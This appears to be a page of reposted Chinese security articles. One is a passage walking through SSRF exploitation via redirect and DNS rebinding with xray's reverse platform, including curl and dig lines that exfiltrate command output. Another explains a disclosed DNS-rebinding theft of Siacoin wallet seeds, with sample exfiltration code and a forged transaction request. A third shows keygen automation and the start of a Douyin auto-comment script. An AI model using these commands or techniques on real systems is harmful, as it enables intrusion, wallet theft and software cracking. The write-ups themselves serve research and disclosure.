    - type: A # A, AAAA, TXT 三种
      record: localhost
      value: 127.0.0.1
      ttl: 60
  client:
    http_base_url: ""
    dns_server_ip: ""
    remote_server: false

暂时只需要反连平台的 HTTP 相关功能,而不需要漏洞扫描和反连平台 DNS 相关的功能,所以只关心上面 DNS 以外的配置文件就足够了。

为了让之前提到的存在 ssrf 漏洞的应用可以访问的到,我们将 xray 运行在一个公网 IP 的机器上,所以 xray 监听的 IP 等等都需要配置,将上面的配置修改如下。

reverse:
  # 数据库文件路径,默认不用修改。
  # 本文件只能一个进程访问,如果启动两个 xray 就需要指定不同的路径。
  db_file_path: "./xray.db"
  # 用于生成的 url 验证,否则反连平台的 IP 一旦泄露,任何人访问你的平台都会被记录访问记录。
  # 有了 token 可以限制生效范围,而且修改 token 就可以失效以前的 url。
  # 我们修改为一个自定义的值
  token: "imtoken1"
  http:
    enabled: true
    # 监听地址,我们在公网机器上需要修改为 `0.0.0.0`,让所有地址都可以访问
    # 注意不一定是机器的公网 IP,本机不一定拥有这个 IP,否则会出错
    listen_ip: "0.0.0.0"
    # 监听端口,我们使用 4445
    listen_port: "4445"
  # dns 部分没有修改
  client:
    # 指定 http 部分的访问地址,这里才应该是机器的公网 IP
    http_base_url: "http://140.143.224.171:4445"
    dns_server_ip: ""
    remote_server: false

修改完成之后,运行 ./xray reverse,就可以看到反连平台启动了。

[INFO] 2019-09-08 09:25:02 +0800 [default:config.go:160] loading config from config.yaml
reverse server base url: http://140.143.224.171:4445, token: imtoken1reverse server webUI: http://140.143.224.171:4445/cland/[DBUG] 2019-09-08 09:25:03 +0800 [default:reverse.go:40] reverse http server started, base url: http://140.143.224.171:4445, token: imtoken1[INFO] 2019-09-08 09:25:03 +0800 [reverse:http_server.go:118] starting reverse http server

访问提示的地址 http://140.143.224.171:4445/cland/ 就可以看到反连平台的的界面了。点击 生成一个 URL 就会提示输入 token。

反连平台的 HTTP 访问记录功能

先按照页面上的提示先测试下反连平台的功能,运行 curl -v http://140.143.224.171:4445/p/89acfe/H34v/

$ curl -v http://140.143.224.171:4445/p/89acfe/H34v/
*   Trying 140.143.224.171...
* TCP_NODELAY set* Connected to 140.143.224.171 (140.143.224.171) port 4445 (#0)> GET /p/89acfe/H34v/ HTTP/1.1> Host: 140.143.224.171:4445> User-Agent: curl/7.54.0> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self'; media-src 'self'; frame-src 'self'; font-src 'self' data:; connect-src 'self'< Content-Type: application/json
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Date: Sun, 08 Sep 2019 01:28:16 GMT
< Content-Length: 22<
* Connection #0 to host 140.143.224.171 left intact{"code":0,"data":null}%

然后在左边的 HTTP 一栏中就可以看到了访问记录

而且反连平台支持在 url 后面随意添加参数,比如 http://140.143.224.171:4445/p/89acfe/H34v/$(whoami),这样在测试一些命令执行漏洞的时候,就很方便的将一些执行结果带出来。

如果 url 位置的长度不够,还可以使用 POST 方法。比如 curl -v http://140.143.224.171:4445/p/89acfe/H34v/ -d “$(ls)” 就可以看到访问记录是这样的。

反连平台指定 response 功能

话说回来,为了验证之前利用跳转进行绕过的思路,我们在 xray 的反连平台上创建一个 url,然后指定 status code 和 header 就可以了。在网页上配置起来也是非常的简单。

点击保存之后,我们先用 curl 测试下。

$ curl -v http://140.143.224.171:4445/p/1cd0a7/3OGA/
*   Trying 140.143.224.171...
* TCP_NODELAY set* Connected to 140.143.224.171 (140.143.224.171) port 4445 (#0)> GET /p/1cd0a7/3OGA/ HTTP/1.1> Host: 140.143.224.171:4445> User-Agent: curl/7.54.0> Accept: */*
>
< HTTP/1.1 302 Found
< Content-Type: text/html
< Location: http://127.0.0.1:8000/api/internal/secret
< Date: Sun, 08 Sep 2019 01:42:41 GMT
< Content-Length: 0<
* Connection #0 to host 140.143.224.171 left intact

工作一切正常。

跳转可以绕过验证,成功~

访问 http://vuln.net:8000/?url=http://140.143.224.171:4445/p/1cd0a7/3OGA/ 发现漏洞利用成功,查看反连平台的访问记录,也验证了之前的猜测,后端是一个 Python 的服务。

有什么其他的绕过么

第一个思路使用跳转绕过验证利用成功,在开头我们怀疑后端一开始会先解析一下域名为 IP,否则使用 localhost 等域名就直接绕过了,这里就可能引入另外一个问题,后端检查时候的域名解析结果和最后 requests 访问的时候的域名解析结果一定一样么?

两次解析 IP 一定一样么

我们这么怀疑有有依据的

Linux 的 getaddrbyname 等函数只会返回一个 IP,但是实际上一个域名是可以配置多条 IP 的,那这时候,如果返回 IP 的顺序是随机的,就可能被绕过。

为了提高性能而且减轻 dns 服务器的负担,域名的解析记录都是有缓存时间的,就是 TTL,一般为 60s 或者 600s,但是也可以配置为 0,这样每次向 dns 服务器查询,dns 服务器都需要去这个域名的 ns 服务器重新查询。本条思路在实践中主要存在两个问题

(1主流的公开的 ns 服务器都不能配置 TTL 为 0,只能使用自己的解析服务。

(2很多 dns 服务器并不完全遵循 TTL,比如配置了 TTL 为 0 也会强制缓存一小段时间。经过验证,8.8.8.8 提供的 dns 服务器是完全遵循的。

6块钱买一个域名来测试

为了测试 dns rebinding 漏洞,我们需要去购买一个域名,当然是选择最便宜的了,反正使用没有任何区别,我是在阿里云购买的 revc.xyz 域名,一年只需要 6 块钱,如果不需要长期持有,第二年重新购买一个就足够了,因为续费是比较贵的。

按照上面的思路,我们需要将这个域名的 ns 服务器修改为自己的,这时候我们可以再去借助 xray 自带的反连平台了,因为它也是支持作为 ns 服务器去解析域名的,去阿里云的管理界面修改就可以了。

然后遇到了拦路虎,ns 服务器必须是域名,而不能是 IP,这时候我们还需要再去买一个域名?

鸡生蛋还是蛋生鸡的问题

其实不是的,我们完全自己解析自己,也就是 ns1.revc.xyz 和 ns2.revc.xyz 作为 revc.xyz 的 ns 服务器。这时候有人可能有疑问,这不是鸡生蛋蛋生鸡的问题么,ns1 和 ns2 去哪里解析,这其实是 dns 提供的功能,添加 glue record,我们可以先不用了解细节,直接去配置即可。就在左侧导航栏的 自定义 DNS Host 里面。

我们配置 ns1 和 ns2 为服务器的 IP,然后回到上一个页面配置 ns 为 ns1.revc.xyz 和 ns2.revc.xyz 就可以了。然后注意下面的提示,我们还需要添加 ns1 和 ns2 的 A 记录。这些都可以在 xray 的反连平台中配置。

编辑刚才的配置文件

reverse:
  # 其他的项目没有修改 ...
  dns:
    enabled: true
    # 和之前 http 的 listen ip 含义一样,修改为 0.0.0.0
    listen_ip: "0.0.0.0"
    # 刚才注册的域名
    domain: "revc.xyz"
    # 静态解析规则,如果请求解析的域名在下面配置了,就直接返回对应的结果
    # dns rebinding 返回的 ip 是动态的
    # 示例配置文件的中的 localhost 是演示使用的,我们添加 ns1 和 ns2 的 A 记录
    resolve:
    - type: A
      record: ns1
      value: 140.143.224.171
      ttl: 60
    - type: A
      record: ns2
      ttl: 60
      value: 140.143.224.171
  client:
    dns_server_ip: "140.143.224.171"
    # 其他的项目没有修改 ...

./xray reverse 启动,这时候可以看到提示信息多了一些,dns server 也启动了。

[INFO] 2019-09-08 10:20:16 +0800 [default:config.go:160] loading config from config.yaml
reverse server base url: http://140.143.224.171:4445, token: imtoken1
reverse server webUI: http://140.143.224.171:4445/cland/
[DBUG] 2019-09-08 10:20:16 +0800 [default:reverse.go:40] reverse http server started, base url: http://140.143.224.171:4445, token: imtoken1
[DBUG] 2019-09-08 10:20:16 +0800 [default:reverse.go:52] reverse dns started
[INFO] 2019-09-08 10:20:16 +0800 [reverse:dns_server.go:167] starting reverse dns server
[INFO] 2019-09-08 10:20:16 +0800 [reverse:http_server.go:118] starting reverse http server

要注意的是 dns 服务需要监听 UDP 53 端口,需要 root 权限而且记得在防火墙中放行。

反连平台可以解析 *.revc.xyz 的任意域名了

回到界面上,点击 生成一个域名,我们先来验证一下之前的配置有没有生效,因为 ns 记录大概需要几个小时才能全球生效,当然如果指定了 dns 服务器为自己的的话,就不需要了。

$dig ns1.revc.xyz A @140.143.224.171; <<>> DiG 9.10.6 <<>> ns1.revc.xyz A @140.143.224.171;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 852;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;ns1.revc.xyz.          IN  A
;; ANSWER SECTION:
ns1.revc.xyz.       60  IN  A   140.143.224.171;; Query time: 75 msec
;; SERVER: 140.143.224.171#53(140.143.224.171);; WHEN: Sun Sep 08 10:22:23 CST 2019;; MSG SIZE  rcvd: 58

可以看出来 ns1 的解析记录是对的,这个是我们配置文件中的静态解析规则。

在界面上可以生成一个新域名,如果我们不需要 dns rebinding 的功能,只需要查看解析记录的话,那和之前的 HTTP 访问记录功能没有太大差别,比如 dig p-9fd889-lzyk.$(whoami).revc.xyz A@140.143.224.171 就可以看到左侧 DNS 一栏中的记录了。

实际解析的域名中间的部分就是执行命令的结果。

dns rebinding 也可以绕过验证,成功~

话说回来,为了验证我们之前利用 dns rebinding 进行绕过的思路,我们在 xray 的反连平台上创建一个 域名,然后指定两次不同的解析 IP 而且 TTL 为 0 就可以了。在网页上配置起来也是非常的简单。

点击保存之后,同样是先本地测试一下。

$dig p-04f887-2kua.revc.xyz A @140.143.224.171; <<>> DiG 9.10.6 <<>> p-04f887-2kua.revc.xyz A @140.143.224.171;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;p-04f887-2kua.revc.xyz.        IN  A
;; ANSWER SECTION:
p-04f887-2kua.revc.xyz. 0   IN  A   1.2.3.4;; Query time: 54 msec
;; SERVER: 140.143.224.171#53(140.143.224.171);; WHEN: Sun Sep 08 10:29:25 CST 2019;; MSG SIZE  rcvd: 78$dig p-04f887-2kua.revc.xyz A @140.143.224.171; <<>> DiG 9.10.6 <<>> p-04f887-2kua.revc.xyz A @140.143.224.171;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57001;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;p-04f887-2kua.revc.xyz.        IN  A
;; ANSWER SECTION:
p-04f887-2kua.revc.xyz. 0   IN  A   127.0.0.1;; Query time: 49 msec
;; SERVER: 140.143.224.171#53(140.143.224.171);; WHEN: Sun Sep 08 10:29:29 CST 2019;; MSG SIZE  rcvd: 78

可以看出来第一次和第二次的解析结果是不一样的,将 DNS 服务器更换为 8.8.8.8 可以得到相同的结果。

因为 dns rebinding 配置的两次访问是有顺序的,而且我们已经都访问过了,如果再次去解析这个域名,反连平台就只能返回默认的解析结果了,这时候可以通过再次点击保存按钮来重置访问顺序。

构造 http://vuln.net:8000/?url=http://p-04f887-2kua.revc.xyz:8000/api/internal/secret 的 url,我们又获取到了 secret。

在 DNS 解析历史记录中,我们看到了两个 Google 的 IP,也就是说明 Python 的后端去解析了两次,因为 TTL=0,dns 服务器每次都要回源重新解析,这样第一次和第二次访问结果不一致也就绕过了检查。

备注

1. 使用 0.0.0.0 代替 127.0.0.1 是另外一种绕过思路

2. 利用上面的思路访问本地的 22 和 6379 还可以发现 SSH 和 Redis 服务,也是一个重要的信息。

*本文原创作者:virusdefender,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文阅读

Web标准安全性研究:对某数字货币服务的授权渗透
secist 2019-9-20 5:0 转存

表面下,现代Web只有通过不断增长的技术标准才能实现。标准旨在管理技术和数据的互操作性。Web标准是最广泛采用和快速发展的标准之一,其变化也经常引起浏览器供应商,Web开发人员和用户之间的激烈争论。

在这篇博文中,我们将详细说明盲目遵从明确定义且普遍采用的Web标准所带来的危害。我们将对一个知名的数字货币服务发动远程攻击,并”窃取其中所有的货币“以此来证明我们观点的可靠性。

演示视频

Localhost Services(本地服务)

许多现代应用程序开始使用localhost “api-servers”作为将程序逻辑与用户界面分离的设计模式。这些服务会在127.0.0.1(localhost)上静静监听,并将应用程序的核心逻辑作为一个与平台无关的远程编程接口(RPC)进行无头封装。

C:\WINDOWS\system32>netstat -a -b

Active Connections
  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:443            DESKTOP:0              LISTENING
 [vmware-hostd.exe]
  TCP    0.0.0.0:912            DESKTOP:0              LISTENING
 [vmware-authd.exe]
  TCP    0.0.0.0:5900           DESKTOP:0              LISTENING
 [siad.exe]
  TCP    0.0.0.0:49664          DESKTOP:0              LISTENING
 [Spotify.exe]
  TCP    0.0.0.0:57621          DESKTOP:0              LISTENING
 [Discord.exe]
  TCP    127.0.0.1:8307         DESKTOP:0              LISTENING
 [siad.exe]
  TCP    127.0.0.1:18171        DESKTOP:0              LISTENING
 [Battle.net.exe]
  TCP    127.0.0.1:27015        DESKTOP:0              LISTENING
 [AppleMobileDeviceProcess.exe]
  TCP    127.0.0.1:27060        DESKTOP:0              LISTENING
 [Steam.exe]
  TCP    127.0.0.1:52094        DESKTOP:0              LISTENING
 [NVIDIA Web Helper.exe]

在过去的几年里,对这些localhost API服务的研究已发现了许多可远程利用的问题。其中来自Google Project Zero的Tavis Ormandy的调查结果引人关注:

所有暴雪游戏(魔兽世界,守望先锋,暗黑破坏神III,星际争霸II等)都易受到DNS重绑定漏洞的攻击,允许任意网站运行任意代码。https://t.co/ssKyxfkuZo

— Tavis Ormandy (@taviso) 2018年1月22日

以下是一系列uTorrent DNS重绑定漏洞(现已修复),从远程代码执行到查询和复制下载文件等等。https://t.co/JEvhq1IHGJ

— Tavis Ormandy (@taviso) 2018年2月20日

最近的研究揭示了流行的视频会议应用程序Zoom中的一些可利用的问题

在加密货币领域,这种相同的“api-server”设计模式非常普遍。大量的区块链项目在他们的货币守护进程中使用这种架构。这些守护进程负责管理用户的加密钱包,执行事务以及与区块链保持同步。

1.png

通常,面向用户的GUI应用程序将连接到此本地服务,并将“high-level”概念(例如创建事务)转换为守护进程通过其公开的API提供的“low-level”区块链操作。此模型还允许高级用户或第三方开发人员轻松编写驱动,扩展或展示守护进程核心功能的代码。

Localhost 只是相对安全

将这些api-servers绑定且仅在127.0.0.1上运行,看上去似乎是一种安全且简单的方法来防止应用程序(例如货币/钱包守护进程)暴露于互联网和远程攻击。但遗憾的是,这并不总是一个安全的假设,特别是当与普通web浏览器共存时。

浏览网页时,你的浏览器会下载并运行大量“‘untrusted(不受信任)”的数据,以便在屏幕上为你呈现你喜爱的网站。通过扩展,在给定网站上发布的任何JavaScript都由本地计算机上的Web浏览器执行。这意味着远程发起和恶意编写的JavaScript可能会被用于在本地主机服务上进行探测。

将目光转向 Siacoin

让我们理论上的“预感”是,在浏览器内部执行的代码应该(原则上)能够与本地服务进行交互,并且只需运行它。在接下来的部分,我们将攻击Siacoin:一个知名的加密货币项目,旨在通过区块链技术提供廉价,高效和去中心化的文件存储。

我们的主要目标是成功执行对Sia/wallet/seed端点的API调用。在加密货币中,“wallet-seed(钱包种子)”是一个字符串,可用于重建与特定钱包相关联的私钥。如果你拥有了这个私钥,那就拥有资金。

我们可以通过创建一个恶意网站来测试这一理论,该网站试图从他们的本地守护进程中请求受害者的钱包种子:

2.png

但是我们的请求被阻止了!发生了什么?

显然,想通过浏览器攻击本地主机服务并不容易。这是因为现代Web浏览器采用了一种称之为”Same-Origin-Policy(SOP)“的保护策略。

SOP(同源策略)介绍

SOP最早是在Netscape Navigator 2(约1995年)中引入的,旨在规范对文档对象模型(DOM)的访问。随着网站越来越面向用户,JavaScript也越来越普遍,SOP明确了特定网页上的资源代码可以与之交互或修改的边界。

如果没有SOP,恶意网站可能会向其他网站发出请求,并从其响应中读取潜在的敏感信息。想象一下下面的恶意伪javaScript代码:

let req = await fetch("https://mail.google.com/") // Request data from current logged in gmail
let mail_content = await req.text(); // Decode the response data
exfil(mail_content); // Exfil the emails to an attacker

在没有SOP之前,恶意网站可能会执行这样的请求,以读取访问其网站的任何人的电子邮件!SOP的主要思想是,由于访问某个特定源站(如,attacker.com)而执行的脚本,不应与另一个源站(如,mail.google.com或localhost)上的数据进行交互。

为了强制执行此操作,浏览器会检查每个出站请求以确保其符合要求。当浏览器确定某个网站正在向其他来源发出请求时(“跨来源请求(cross origin request)”)时,它将首先检查该请求是否包含有任何“不安全”的标头。如果有,则浏览器将完全阻止该请求,如下所示:

3.png

相反,如果请求并未包含任何不安全的标头,则浏览器会将其转发到目标站点。这个“目标站点”现在可以选择告诉浏览器是否允许其他来源读取响应。此功能通过可由“目标站点”设置的跨域资源共享(CORS)标头实现。

通常,网站不启用CORS,或仅为特定域启用CORS。这意味着浏览器只会阻止传递响应。因此,请求站点无法读取响应数据。

4.png

如果某个特定请求被标记为“safe(安全)”,则允许其传递到目标站点。尽管这些请求被标记为“安全”,但对于给定的应用程序来说,这些请求仍然会带来很大的安全风险。以下面的请求为例:

fetch('http://localhost:1337/wallet/make_transaction', {
  method:'POST',
  body:'to=attack_address&amount=100000'
})

以下是发送到服务器的实际数据:

POST /wallet/make_transaction
Host: localhost:1337
Origin: http://attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: */*
Referer: http://attacker.com

to=attack_address&amount=100000

在本例中,恶意脚本控制的唯一数据块是路径和请求主体,这两部分在CORS下都被视为“安全的”。因此,尽管存在明显的实质性风险,但该请求总体上被认为是“安全的”!如果服务器不执行任何其他验证,则请求将成功触发事务。

既然我们已经知道了SOP是如何阻止我们的跨域请求的(http://localhost:9980/wallet/seed),那么接下来我们要做的就是想办法绕过SOP,让浏览器认为我们的恶意请求来自localhost(即同源)。我们可以通过一种称之为DNS重绑定的技术来做到这点。

DNS重绑定

DNS重绑定是一种现代技术,它会使浏览器误以为当前源站与实际不同的IP地址相关联。

这种类型的攻击可以通过控制特定的域名以及相关的DNS服务器来执行。当受害者访问域时,DNS服务器用真实的IP地址响应,但使用非常短的生存时间(TTL)来防止缓存。

之后,一旦TTL过期,就会向攻击者的域发出另一个请求(例如通过JavaScript)。然而,这次DNS服务器将以内部IP地址(如127.0.0.1)进行响应。浏览器则认为它仍在与原始的attacker.com通信,但现在请求将转到目标服务!

5.png

在此示例中,可以看到attacker.com第一次被解析为12.34.56.78,但第二次却被解析为了127.0.0.1。

现在,当attacker.com向自己发出请求时,浏览器会向127.0.0.1发出同源请求。

保护 Localhost API 服务器

针对这些攻击最强壮的防御是在向API发出请求时,需要一个在磁盘上的secret token:攻击者可能无法从远程上下文中知道这一点。然而,这有时并不理想,因为这会让API的使用变得更为困难,因此开发人员也经常为此寻找替代解决方案。

另一种常见的技术是验证请求头,以确保请求来自合法的客户端应用程序。执行此操作的常见方法是,检查主机头是否设置为localhost或其他预期值。另一种方法是检查浏览器要发送的某些头文件,如Origin、User-Agent或Referer。但是,这种“头检查”本身可能存在问题,因为哪些头可以被信任,哪些头可以被恶意脚本修改并不明确。

让我们来看一下siacoin守护进程是如何保护自己免受未经授权交互的……在项目生命初期,Sia的开发人员意识到来自浏览器的请求可能会成为一个问题。为了减轻这种风险,它们包含了以下代码,以确保守护进程只接受具有值为“Sia-Agent”的User-Agent的请求:

if !strings.Contains(req.UserAgent(), "Sia-Agent") {
    writeError(w, "Browser access disabled due to security vulnerability. Use Sia-UI or siac.", http.StatusBadRequest)
    return
}

要绕过此检查,我们需要在执行跨域请求时指定User-Agent标头。让我们看看是否可行!

检查标准

要确定我们可以在出站请求中控制哪些标头,就需要我们对Web标准有更为深入的了解。这些标准定义了两个标头列表。第一个称为no-CORS-safe:它可以安全地为Cross-Origin请求设置标头(例如标头attacker.com可以发送到bank.com):

`Accept`
`Accept-Language`
`Content-Language`
`Content-Type`

在执行跨域请求时,JavaScript可以设置这些标头,并且只能设置这些标头。如果设置了其他选项,浏览器将会阻止该请求。这就是为什么上面描述的用户代理过滤方法看起来是安全的原因。User-Agent不在白名单中,因此无法设置为跨域请求。

另一个列表是Forbidden列表:它明确禁止设置黑名单标头,无论其跨源状态如何(即使对于同一源请求,如bank.com发送到bank.com也不允许):

`Accept-Charset`                    | `Accept-Encoding`
`Access-Control-Request-Headers`    | `Access-Control-Request-Method`
`Connection`                        | `Content-Length`
`Cookie`                            | `Cookie2`
`Date`                              | `DNT`
`Expect`                            | `Host`
`Keep-Alive`                        | `Origin`
`Referer`                           | `TE`
`Trailer`                           | `Transfer-Encoding`
`Upgrade`                           | `Via`

有一些技巧可以阻止其中一些标头中被发送,但是它们无法被欺骗:如果它们存在,那么接收者可以信任它们。要注意,我们看到Origin和Referer列表,但User-Agent没有。这意味着对于同源请求,攻击者可以将User-Agent标头更改为他们想要的任意值!

让我们在Siacoin守护进程上测试一下吧!

完整的 Siacoin Exploit

我们把之前的那些片段都整合在一起:

Siacoin Daemon通过验证User-Agent标头来验证请求

允许Same-Origin请求设置自定义User-Agents,因为User-Agent不在Forbidden列表中

DNS重绑定允许我们将跨域请求转换为同源请求

要真正利用这个问题,我们需要针对http://localhost:9980设置DNS重绑定攻击。我们可以通过使用rbndr.us做到这一点,这是Tavis在他的相关研究中创建的一个实用程序。Rbndr提供了一个DNS服务器,可以在两个目标的IP之间进行切换,非常适用于这种攻击场景。

首先,我们在7f000001.<our_ip>.rbndr.us创建一个恶意站点,然后尝试访问/wallet/seeds。但是,我们仍然需要欺骗User-Agent标头。这是非常容易,你可以按如下方式进行操作:

我们只需要等待DNS记录的更新。一旦更新完成,我们将能够直接与Siacoin Daemon通信,那么用户的seed将举手可得。

这将导致许多严重的后果,最直接的就是如果钱包被“解锁(unlocked)”(假设用户正在运行Sia钱包应用程序的默认状态)那么我们就可以窃取受害者的钱包种子。这些种子可在之后用于不可撤销地转移受害者所有的资金。

从货币窃取到远程执行代码

通过这种攻击,我们不仅可以窃取受害者的资金,甚至还可以通过滥用Sia守护进程的预期功能来实现远程代码执行。

如前所述,Siacoin主要是一个去中心化的系统,用于促进廉价和可靠的文件存储。有权访问Sia钱包守护进程API的攻击者,可以使用它在去中心化存储网络和受害者计算机之间上传和下载任意文件。由于能够在目标计算机上以任意路径写入任意文件,我们能够以多种不同的方式演示代码执行。

受影响的浏览器

从我们的测试来看,谷歌的Chrome是唯一一款能够在DNS重新绑定攻击时,阻止设置用户代理字段的主流浏览器。

6.png

我们发现Apple Safari和Mozilla Firefox用户都很容易受到此帖中演示的攻击。 这是因为两个浏览器都正确遵循标准。 有趣的是,尽管Microsoft Edge浏览器也遵循该标准,但Microsoft Edge的用户却是安全的。这是由于Edge的app-container的内置网络隔离,使得浏览器无法实际建立与localhost的连接。

披露时间

在2018年9月我们向Nebulous Labs负责任的披露了该问题。他们对该漏洞的严重性表示了认同,并通过强化其使用磁盘令牌的服务及时解决了这个问题。

2018.09.12 – 向Nebulous Labs披露

2018.09.25 – 修复合并到source tree

2018.10.16 – 修复版发布(Sia 1.3.6)

*参考来源:ret2,FB小编secist编译,转载请注明来自FreeBuf.COM

原文阅读

手把手教你编写抖音自动评论脚本
冰海 2019-9-20 4:30 转存

0×00 前言

我的TodoList增加了一项,Appium | Airtest 抖音自动评论、创意评论(所有评论/前一百评论男女占比 | 所有评论词云),记录了当时的一个想法。Appium和Airtest都可用于移动端自动化测试,Airtest是网易家的,想做评论词云是因为在这之前用Appium写了一个爬个人微信朋友圈词云图的程序(见图1),同时Airtest操作更简单,也在考虑的范围。

再后来,一直未实施,主要是觉得得用手机连着电脑,不能随时随地操作,就搁置了。近段时间因为工作时的一个想法,又把这事提起来了。业务场景比较特殊,可能会涉及版权问题,就不细说,简言之,想实现某注册机自动生成注册码功能,继而接触到了按键精灵。按键精灵很早就存在,也很早就有所耳闻,但一直未实地接触,刚好借这个机会接触一下。用按键精灵PC版实现了注册机自动生成注册码功能,在实现的过程中接触到了按键精灵手机版,孤陋寡闻了,一个神奇的存在,立马就想到了可以用它先实现个简单的抖音自动评论功能吧。

前言有点啰嗦了。。。,喏,这个是微信朋友圈词云图,图1

朋友圈词云图.jpg

演示视频:

0×01 导语

过了前言是导语啊,看了这篇文章,你可以了解到哪些内容:

1. 某注册机自动生成注册码——按键精灵PC版脚本编写

2. 抖音自动评论——按键精灵手机版使用及脚本编写

3. Lua插件使用及编写 

4. 拓展功能,看结尾Tips

5. 非技术工作者可以了解到,很多功能表现,没有那么复杂,程序可以代替手工

6. ++

0×02 某注册机自动生成注册码

不是本文重点,会简单概过(Kuo)。按键精灵官网下载地址http://download.myanjian.com/,可下载按键精灵PC版,安卓版,按键精灵手机助手。

按键精灵官网下载地址.png此处下载安装按键精灵PC端,PC版首页:

按键精灵PC首页.png

脚本编写界面(需要注意红色箭头指向的几个地方,了解一下相关功能项):

按键精灵PC版脚本界面.png学习方式:按键精灵使用的是Q语言,在VBScript语言基础上发展来的,如果对VBScript语言有了解更好一些,没有了解也没关系,注意上图脚本编写界面中的基本命令和全部命令标签,基础命令标签可通过点击自动生成代码,全部命令标签大部分方法通过代入参数也可自动生成代码,把基本命令和全部命令相关方法看一遍,看的过程中就会对要实现的功能有个大概的构思,清楚会用到哪些方法,编写脚本过程中再去官网、其它地方了解下相关知识点,基本就入门了。

小Tips:

1. 界面标签页可编写窗体界面,包含各种控件。

2. 发布菜单可导出脚本,脚本依赖PC版运行环境;可制作按键小精灵,按键小精灵可生成exe程序,脱离PC版运行环境独立运行。

3. 善用命令帮助文档和命令搜索功能

某注册机自动生成注册码,主要用到了Window窗口插件里的方法,同时也用到了抓抓功能,通过动态找窗口句柄的方式实现具体的功能,Plugin.Window.FindEx( )函数有坑,需要在实践过程中理解参数2子窗口句柄的用法。 其它没有介绍到的,如有疑问,欢迎交流。

某注册机自动生成注册码代码示例(如有更好实现方式,欢迎指导,谢谢):

Dim MachineCode, SerialNum, RegistCode
//打开注册机
Call RunApp("D:\SoftWare\keygen.exe")
Delay 500
//接收机器码
Rem InputMach
MachineCode = InputBox("请输入机器码:", "输入注册码")
If MachineCode = "" Then
Goto InputMach
End If
TracePrint "MachineCode: " & MachineCode 
//查找窗口类名("#32770")或者标题("Keymaker"),返回找到的句柄Hwnd
Hwnd = Plugin.Window.Find("#32770", "Keymaker")
//根据父窗口句柄(Hwnd)查找子窗口匹配类名("Edit")或者匹配标题(""),返回找到匹配的句柄MachineIdEx
MachineIdEx = Plugin.Window.FindEx(Hwnd, 0, "Edit", 0)
TracePrint "MachineIdEx: " & MachineIdEx
//修改Keymaker标题
Call Plugin.Window.SetText(Hwnd,"注册码自动生成")
//自动输入机器码
Call Plugin.Window.SendString(MachineIdEx, MachineCode)
//根据父窗口句柄(Hwnd)查找子窗口匹配类名("Button")或者匹配标题("&Generate"),返回找到匹配的句柄GenerateEx
GenerateEx = Plugin.Window.FindEx(Hwnd, 0, "Button", "&Generate")
TracePrint "GenerateEx: " & GenerateEx
//按下Generate按钮,生成注册码
Call Plugin.Window.SendKeyDown(GenerateEx, 13)
//根据父窗口句柄(Hwnd)查找子窗口匹配类名("Static")或者匹配标题("Your machine ID:"),返回找到匹配的句柄MachineIdLabelEx
MachineIdLabelEx = Plugin.Window.FindEx(Hwnd, 0, "Static", "Your machine ID:")
TracePrint "MachineIdLabelEx: " & MachineIdLabelEx
//根据父窗口句柄(Hwnd)查找子窗口匹配类名("Edit")或者匹配标题(""),返回找到匹配的句柄SerialNumEx
SerialNumEx = Plugin.Window.FindEx(Hwnd, MachineIdLabelEx, "Edit", 0)
TracePrint "SerialNumEx: " & SerialNumEx
//获取序列号
SerialNum = Plugin.Window.GetTextEx(SerialNumEx, 1)
TracePrint "SerialNum: " & SerialNum
//根据父窗口句柄(Hwnd)查找子窗口匹配类名("Button")或者匹配标题(""),返回找到匹配的句柄ButtonFrameEx
ButtonFrameEx = Plugin.Window.FindEx(Hwnd, 0, "Button", 0)
TracePrint "ButtonFrameEx: " & ButtonFrameEx
//根据父窗口句柄(Hwnd)查找子窗口匹配类名("Edit")或者匹配标题(""),返回找到匹配的句柄RegistCodeEx
RegistCodeEx = Plugin.Window.FindEx(Hwnd, ButtonFrameEx, "Edit", 0)
TracePrint "RegistCodeEx: " & RegistCodeEx
RegistCode = Plugin.Window.GetTextEx(RegistCodeEx, 1)
TracePrint "RegistCode: " & RegistCode
MsgBox "序列号:" & SerialNum & " 注册码:" & RegistCode
//复制序列号和注册码到剪切板
Call Plugin.Sys.SetCLB("机器码:" & MachineCode & " 序列号:" & SerialNum & " 注册码:" & RegistCode)
MsgBox "注册码信息已复制到剪切板"
Delay 1000
//完全关闭窗口(退出程序)
Call Plugin.Window.CloseEx(Hwnd)

初版运行示例:

注册机自动生成注册码运行示例.png

0×03 抖音自动评论——古诗词版

顾名思义,评论的内容是古诗词版的,为嘛,我是文学社社长[/手动滑稽脸],首先就想到来点清流版的。演示视频里用到的是搜狗输入法小汪版,评论内容更万金油一些,嗯。

先下载安装上述提到的按键精灵手机助手,敲黑板,手机助手编写的脚本安卓手机和苹果手机都可以使用,前置条件是安卓需要ROOT,苹果需要越狱。脚本上可能会有一些差别,看具体的方法两个端是否都支持,安卓支持更全一些。

本文演示手机是苹果越狱机,机型:iPhone 6S Plus,安卓机需要各位看官自行尝试。

除了在电脑上安装按键精灵手机助手,还需要在苹果越狱机上安装按键精灵越狱插件,按键精灵Cydia官方源地址:http://apt.mobileanjian.com,在Cydia中添加按键精灵官方源之后,按iOS对应系统版本安装对应的按键精灵插件:

Cydia按键精灵源.png

之后手机通过数据线连接电脑,打开按键精灵手机助手,即可连接上手机编写脚本。

